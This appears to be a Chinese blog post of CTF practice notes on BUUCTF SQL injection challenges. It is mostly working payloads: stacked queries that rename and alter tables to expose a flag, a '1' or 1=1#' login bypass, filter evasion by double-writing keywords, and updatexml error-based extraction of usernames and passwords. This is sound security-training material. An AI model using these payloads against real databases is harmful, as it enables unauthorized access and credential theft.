buu刷题笔记之sql注入
[强网杯 2019]随便注
第一种方法:堆叠注入
payload:1';or 1=1

查看数据库:1';show databases;

查看表名:1';show tables;

查看这两个表的列值:1';show columns from words;

1';show columns from `1919810931114514`

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦
payload:0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

再用一下一开始的操作id=1' or 1=1#

方法二:handler
1';handler `1919810931114514` open;handler `1919810931114514` read first#

[极客大挑战 2019]LoveSQL
发现登录框,可能是万能密码登录,我们试一下:
在登录框中输入:
用户名:1' or 1=1#
密码:随便输

跳转到check.php页面 登录成功,得到用户名和密码,密码尝试md5解密,失败。

后面就是一系列的常规sql注入,不在赘述。
[极客大挑战 2019]BabySQL
和上一题差不多,这一题只是过滤了and、select、or、from、union、where这些关键字,可以通过双写桡过。


后面步骤也一样,就不在赘述了。
[极客大挑战 2019]HardSQL
'and 1=1#被拦截
经测试:and、or、空格、=等被封死了,想想其他的办法,可以使用extractvalue和updatexml进行报错注入
空格和=号会被检测,所以我们要使用()来代替空格,使用like来代替=号,使用^等同于and
爆库:payload:username=admin'^Updatexml(1,concat(0x7e,database()),1)%23&password=admin

爆表:payload:username=admin'^Updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),1)%23&password=admin

爆列名payload:username=admin'^Updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1)%23&password=admin

爆数据payload:username=admin'^Updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))),1)%23&password=admin

发现显示不完整:
补充知识点:
left() right() 函数,
LEFT(ARG,LENGTH)、RIGHT(ARG,LENGTH)
LEFT、RIGHT函数返回ARG最左边、右边的LENGTH个字符串,ARG可以是CHAR或BINARY STRING
发现只能输出32位左右,那我们让他从右往左输出30个,然后拼接
payload:'^updatexml(1,concat(0x7e,(select(right((password),30))from(H4rDsq1)),0x7e),1)#

拼接得到flag

浙公网安备 33010602011771号